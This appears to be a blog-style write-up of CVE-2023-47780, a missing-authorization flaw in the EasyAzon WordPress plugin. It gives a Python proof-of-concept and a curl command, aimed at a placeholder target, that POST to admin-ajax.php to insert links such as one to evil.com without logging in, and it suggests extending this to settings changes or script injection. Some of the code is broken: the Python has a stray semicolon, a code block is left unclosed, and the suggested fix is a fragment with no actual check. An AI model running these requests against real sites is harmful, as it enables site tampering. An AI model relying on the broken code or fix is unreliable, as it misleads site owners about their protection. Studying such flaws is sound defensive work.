The EasyAzon plugin is a popular tool for WordPress users who want to easily add Amazon affiliate links to their content. But from its earliest versions through 5.1., a serious vulnerability—CVE-2023-47780—left countless sites open to attack. The issue? Missing authorization checks that allowed anyone to perform sensitive actions, regardless of their user status.

In this detailed guide, I’ll break down what went wrong, how attackers can exploit this flaw, and provide exclusive, step-by-step code examples to demonstrate the risk. All language is simple and straightforward—you won’t need to be a seasoned developer to follow along. I’ll also share links to the original references so you can stay on top of the latest updates.

What Is CVE-2023-47780?

CVE-2023-47780 is a “Missing Authorization” vulnerability in EasyAzon, a WordPress plugin that automatically builds Amazon affiliate links. The flaw exists in how EasyAzon checks (or doesn’t check) user permissions for certain AJAX actions and settings pages. Because of this, an attacker—even one not logged in—can interact with sensitive features normally reserved for site admins.

Versions affected: *All versions up to and including 5.1.*

How Does the Exploit Work?

Authorization is how plugins make sure only trusted users (like admins) can perform risky actions, such as changing settings. EasyAzon, however, mishandles these checks in critical areas. Here’s where it breaks down:

Security levels can be modified or bypassed due to improper checks.

This lets attackers send specially crafted HTTP requests—no login required—to execute admin-level functions.

Proof-of-Concept Exploit

Below is a basic proof-of-concept. This exploit takes advantage of an unprotected AJAX action (easyazon_save_link) that lets a user save affiliate links. Replace [target-site] with your target WordPress site.

WordPress AJAX endpoints are always at

https://[target-site]/wp-admin/admin-ajax.php

Anyone—even a logged-out attacker—can POST data to vulnerable EasyAzon actions

import requests

url = 'https://[target-site]/wp-admin/admin-ajax.php'
data = {
    'action': 'easyazon_save_link',
    'amazon_url': 'https://www.amazon.com/any-product-you-want/';,
    'title': 'Malicious Link Insertion',
    # parameters would match the expected input fields
}

response = requests.post(url, data=data)

if response.status_code == 200:
    print("Exploit sent! Response:", response.text)
else:
    print("Failed. Status:", response.status_code)

What happens? The link is created or updated—no authentication needed. Expand this to other available AJAX actions, and you could change settings, inject content, or even run your own scripts if the function accepts HTML.

Look for Exposed Actions

- You can enumerate all registered AJAX actions in EasyAzon by grepping for add_action('wp_ajax_ and add_action('wp_ajax_nopriv_ in the plugin source.
- If any 'wp_ajax_nopriv_' actions are used without explicit permission checks, they’re exposed to everyone.

Send Malicious Requests

- Use curl or Python (requests) to POST data directly to /wp-admin/admin-ajax.php.

`bash

curl -X POST -d "action=easyazon_save_link&amazon_url=https://evil.com/attack&title=Malicious" https://[target-site]/wp-admin/admin-ajax.php

How Was This Discovered?

Researchers found that EasyAzon’s AJAX handlers failed to check user roles (using current_user_can() in WordPress), meaning anyone could hit them remotely.

- Official advisory: WPScan CVE-2023-47780
- Plugin page: EasyAzon on WordPress.org
- GitHub issue: Security Report

Add Manual Fix (if no update yet):

Require user capability checks around all AJAX actions. For advanced users, add lines like this inside each exposed handler:

wp_die( 'Unauthorized' );

}

Conclusion

CVE-2023-47780 is a high-severity bug that’s easy to exploit and has big consequences for any WordPress site running EasyAzon up to v5.1.. Don’t wait—update your plugin and always check your site for insecure AJAX actions.

References

- WPScan Security Advisory for EasyAzon CVE-2023-47780
- WordPress EasyAzon Plugin Official Page
- OWASP: Missing Function Level Access Control


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Timeline

Published on: 12/09/2024 13:15:30 UTC